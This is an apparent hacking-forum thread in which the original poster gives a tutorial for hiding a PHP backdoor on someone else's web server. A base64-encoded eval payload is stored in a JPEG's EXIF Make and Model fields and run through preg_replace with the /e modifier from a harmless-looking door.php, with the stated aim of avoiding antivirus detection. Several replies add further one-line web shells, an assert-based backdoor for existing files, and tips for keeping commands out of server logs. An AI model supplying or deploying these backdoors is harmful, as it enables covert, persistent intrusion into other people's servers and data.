[Natalie Portman]

Hey all, thought I'd bring you a tutorial I've been working on today to create a PHP Backdoor which doesn't stand out like a sore thumb.

This is an ADVANCED tutorial, if you're not experienced with PHP then this isn't for you.

Anyway.

So what we're going to be doing is hiding a PHP Backdoor on a system, where it shouldn't be detectable, here's how:

We're going to find an image on the site, it can be any image. Make sure it's a jpeg.

For this tutorial we're going to assume it's called "image.jpg"

Next, you'll want to download exiftool, it's a free CLI exif editor, and upload the file to the site.

Then, we're going to change some of the exif data attached to the image, or create it if it doesn't exist:

We're going to change the exif form "Make" and "Model" to the following:

Code

Make: /.*/e
Model: eval(base64_decode(X))

We're going to encode our backdoor with base64, which I'm sure you're all familiar with, do the following:

Take this base code:

Code

if (isset($_POST["var"])) {eval(stripslashes($_POST["var"]));}

And change var to whatever you want, making sure that you keep the quotes, this is going to be the variable we post to our backdoor. Make sure it is a single word, alphanumeric.

Now take that entire string, for me it looks like this:

Code

if (isset($_POST["door"])) {eval(stripslashes($_POST["door"]));}

And encode it with Base64. Now replace X in the first string with your Base64 output, mine now looks like this:

Code

eval(base64_decode(aWYgKGlzc2V0KCRfUE9TVFsiYmFja2QwMHIiXSkpIHtldmFsKHN0cmlwc2xhc2hlcygkX1BPU1RbImJhY2tkMDByIl0pKTt9))

Note. Yours WILL look different, depending on what you assigned var to.

So now that we've created our backdoor executor, execute the following commands using exiftool

Code

-make="/.*/e" -model="eval(base64_decode(X)) image.jpg

Now, we need to create our PHP file, it's going to be totally harmless so that it doesn't get detected by antivirus software.

Obviously replace /path/to/ with the actual location of the image, and image.jpg with the actual name of the image.

Code

<?php
$data = exif_read_data('/path/to/image.jpg');
preg_replace($data['Make'],$data['Model'],'');
?>

Save this as door.php.

Following the above, you're going to upload door.php to a location of your choice, making sure that this location is accessible with an internet browser. I.e. don't put it in the same directory as public_html or a higher directory.

And there you go.

I'm not going to spoonfeed you and tell you how to use this backdoor, however, if as I said at the beginning of the tutorial, you are familiar with PHP then you will understand exactly what we've done here, and how to exploit the vulnerability we've created.

Good luck!

[ExplodingKnees]

This is rather creative. Advanced? I don't think so, but then again that's entirely objectionable.

[Natalie Portman]

This is rather creative. Advanced? I don't think so, but then again that's entirely objectionable.

It's not advanced objectively speaking, but it's advanced for HF :P

[SIM-1073426]

Neat, you seem to play around with Exif data a lot :P

[Natalie Portman]

Neat, you seem to play around with Exif data a lot :P

Just started recently, enjoying it so far :P

[EPIXIA‏‏‏‏]

Nice nice, this won't work in php 5.5.x+ though

[Soulo]

hackforums.net/showthread.php?tid=4200228

[133720]

Thanks for explain bro and i want to learn more :D.

[How bout using your brain]

You could also just do:

Code

$_=$_GET;@$_[a]($_[b]);

or

Code

extract($_GET);@$a($b);

and just use a cookies or a custom header instead of $_GET so that it doesn't show up in logs.

[Abdilo]

Nice idea, i just personally backdoor orginal php files in the site.
OP someone should audit gallery v2, like now, i want your nudes.

[w34k]

Neat, you seem to play around with Exif data a lot :P

This is actually pretty old and won't always work.

hackforums.net/showthread.php?tid=4200228

Lol, right. Isn't anyone original anymore ? Tons of these TUTs just by searching.

http://whitefirdesign.com/blog/2014/07/0...-of-images

http://php.webtutor.pl/en/2011/05/13/php...jpeg-image

http://blog.sucuri.net/2013/07/malware-h...aders.html

🤝

[xfitz54]

Ill have to play around with this, thanks for the share

[BeggFoMercy]

Wrote something similar : https://hackforums.net/showthread.php?tid=3702606

[Crossover]

You could also just do:

Code

$_=$_GET;@$_[a]($_[b]);

or

Code

extract($_GET);@$a($b);

and just use a cookies or a custom header instead of $_GET so that it doesn't show up in logs.

I tend to use $_REQUEST so I can use either, but I prefer using post data as hardly anybody actually logs it, they'll just see it as you're visiting X page & they won't see a blinding URL like ?cmd=ls -la, because there's no bigger give away 🤦‍♂

If you create a file reading an images exif data that's pretty damn obvious, why not just backdoor a current file using something like

Code

die(assert(base64_decode('ZXZhbCgkX1JFUVVFU1RbJzInXSk7')));

[b34x7]

Nice method. Thanks for the share OP